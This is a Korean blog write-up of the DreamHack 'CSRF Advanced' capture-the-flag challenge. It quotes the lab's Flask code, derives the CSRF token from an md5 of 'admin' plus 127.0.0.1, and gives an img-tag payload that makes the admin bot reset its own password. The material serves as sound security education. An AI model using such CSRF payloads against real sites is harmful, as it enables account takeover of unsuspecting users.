2024. 12. 26. 14:30ㆍInformation Security 정보보안/DreamHack
배울내용 :
dreamhack,
web hacking,
개발자도구,
dreamhack 풀이,
dreamhack CSRF Advanced 문제,
dreamhack web 풀이 ,
CSRF Advanced ,
Cross-Site Request Forgery
문제
제목만 봤을때 Cross-Site Request Forgery 와 연관된 문제인걸 알수있다
CSRF (사이트 간 요청 위조, Cross-Site Request Forgery) 란?
사용자가 신뢰하는 웹 애플리케이션에서 본인이 의도하지 않은 작업을 수행하도록 속이는 웹 보안 취약점. CSRF는 웹 애플리케이션이 사용자의 브라우저를 신뢰한다는 점을 악용한다.
login과 changpassoword 는 각각 로그인창와 url 만 changepassword 가 추가된 것으로 나온다
그리고 vuln(csrf)page 로 들어가면 아래의 url 을 가지고 사진이 있는데 아무것도 안보이는걸 볼수있다
http://host3.dreamhack.games:13174/vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E
flag 에서는 아래처럼 csrf 페이지에서 보는것처럼 무언가 넣으면 flag를 획득하는것으로 예상된다
우선 vuln(csrf)page 에 있는걸 그대로 flag 창에 넣어서 제출하니 good 이라는 알람창만 뛰우고 다른 성공플레그는 획득하지 못하는걸 볼수있다. (다른글도 전부 good 이라뜸)
아마 여기서부터는 코드를 확인해봐야할것같다
코드를 보니 admin 으로 로그인하면 flag 를 획득하는걸 볼수있다
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
그리고 아까 봤던 csrf 에 script 를 쓰려고하면 모든 script를 소문자로 치환하고 이를 필터링 하는걸 볼수있다
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
그렇지만 xss_filter 에는 frame(iframe방지) , script 방지 , on 을 막고있지 img 태그는 따로 막고있지 않는걸 볼수있다
@app.route("/change_password")
def change_password():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
csrf_token = token_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
pw = request.args.get("pw", None)
if pw == None:
return render_template('change_password.html', csrf_token=csrf_token)
else:
if csrf_token != request.args.get("csrftoken", ""):
return '<script>alert("wrong csrf token");history.go(-1);</script>'
users[username] = pw
return '<script>alert("Done");history.go(-1);</script>'
비밀번호 바꾸는데서보니 username 과 세션 아이디만 있으면 admin의 비밀번호를 원하는데로 바꾸어 admin 으로 로그인가능 할것으로 보인다.
그럴려면 아래와 같이 암호화 되어있는걸 해줘야하는데 username은 admin 에 remote_addr 을 합친걸 md5로 암호화한걸 알아야하는데 remote_addr 을 모른다
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
그래서 코드를 좀더 살펴보니 read_url 에서 driver.get(127.0.0.1)...~ 이란걸알수있었고 이를 위에 보이는 방식대로 코드를 만들면 token을 얻을수있을것같다
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
try:
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/login")
driver.add_cookie(cookie)
driver.find_element(by=By.NAME, value="username").send_keys("admin")
driver.find_element(by=By.NAME, value="password").send_keys(users["admin"])
driver.find_element(by=By.NAME, value="submit").click()
driver.get(url)
그래서 아래처럼 간단한 코드로 admin 과 127.0.0.1 을 합쳐서 md5로 암호화 해보니 아래와 같이 나왔고
csrf_token: 7505b9c72ab4aa94b1a4ed7b207b67fb
그리고 이값을 비밀번호나오는걸 이용해 flag 페이지에서 아래와 같이 입력해준다
<img src=http://127.0.0.1:8000/change_password?pw=sarimus&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb>
그럼 또다시 good 이라고만 나오는데 이번엔 로그인 페이지로 가서 아까 바꾼 password (sarimus) 로 로그인시도를 해본다
그러면 성공적으로 플레그를 뛰울수있게 된다
'Information Security 정보보안 > DreamHack' 카테고리의 다른 글
[DreamHack] [web] [Level 1] session-basic 풀이 (0) | 2024.12.26 |
---|---|
[DreamHack] [web] [Level 1] XSS Filtering Bypass 풀이 (1) | 2024.12.26 |
[DreamHack] [web] [Level 1] out of money 풀이 (0) | 2024.12.24 |
[DreamHack] [web] [Level 1] command-injection-chatgpt 풀이 (0) | 2024.12.24 |
[DreamHack] [web] [Level 1] simple_sqli_chatgpt 풀이 (2) | 2024.12.24 |